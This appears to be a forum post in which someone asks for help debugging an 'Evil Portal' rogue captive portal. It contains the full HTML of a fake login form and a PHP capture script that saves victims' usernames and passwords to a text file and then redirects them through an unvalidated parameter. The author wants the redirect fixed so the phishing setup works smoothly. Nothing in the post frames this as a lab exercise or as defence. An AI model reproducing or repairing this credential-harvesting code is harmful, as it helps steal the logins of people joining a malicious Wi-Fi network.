OK, I believe I should have everything setup correctly, but something isn't working. I have Evil Portal setup to capture credentials and then redirect to $authtarget. However, when I redirect, it simply goes back to the splash page. Here are my relevant code snippets
splash.html
<form id="form"
method="POST"
autocomplete="off"
action="http://172.16.42.1/capture.php?redir=$authtarget">
<tr height=20>
<td nowrap id="username_field">
USERNAME:
</td>
<td>
<input autocomplete="off" id="user" name="user" style="border:1px solid gray; " value="">
</td>
</tr>
<tr>
<td nowrap id="password">
PASSWORD:
</td>
<td>
<input autocomplete="off" id="password" name="password" style="border:1px solid gray;" type=password>
</td>
</tr>
<tr height=40 align="center">
<td colspan=2 align="middle">
<input style="font-weight: bold; cursor: pointer;" type="submit" name="Login" value="Login" />
</td>
</tr>
And capture.php
<?php
$user = $_POST["user"];
$pass = $_POST["password"];
$redir = $_GET["redir"];
$file = fopen("stored.txt", "a");
fwrite($file, $user . ':' . $pass . "\n");
fclose($file);
header("Location: " . $redir);
?>
When I click "Login", capture.php runs, the creds are stored, but the user is returned to (assuming I originally typed 'www.yahoo.com'):
http://172.16.42.1:2050/nodogsplash_auth/?redir=http://172.16.42.1:2050/nodogsplash_auth/?redir=http:/www.yahoo.com/
Where they are once again presented with the login page.
Am I doing something wrong?
Thanks!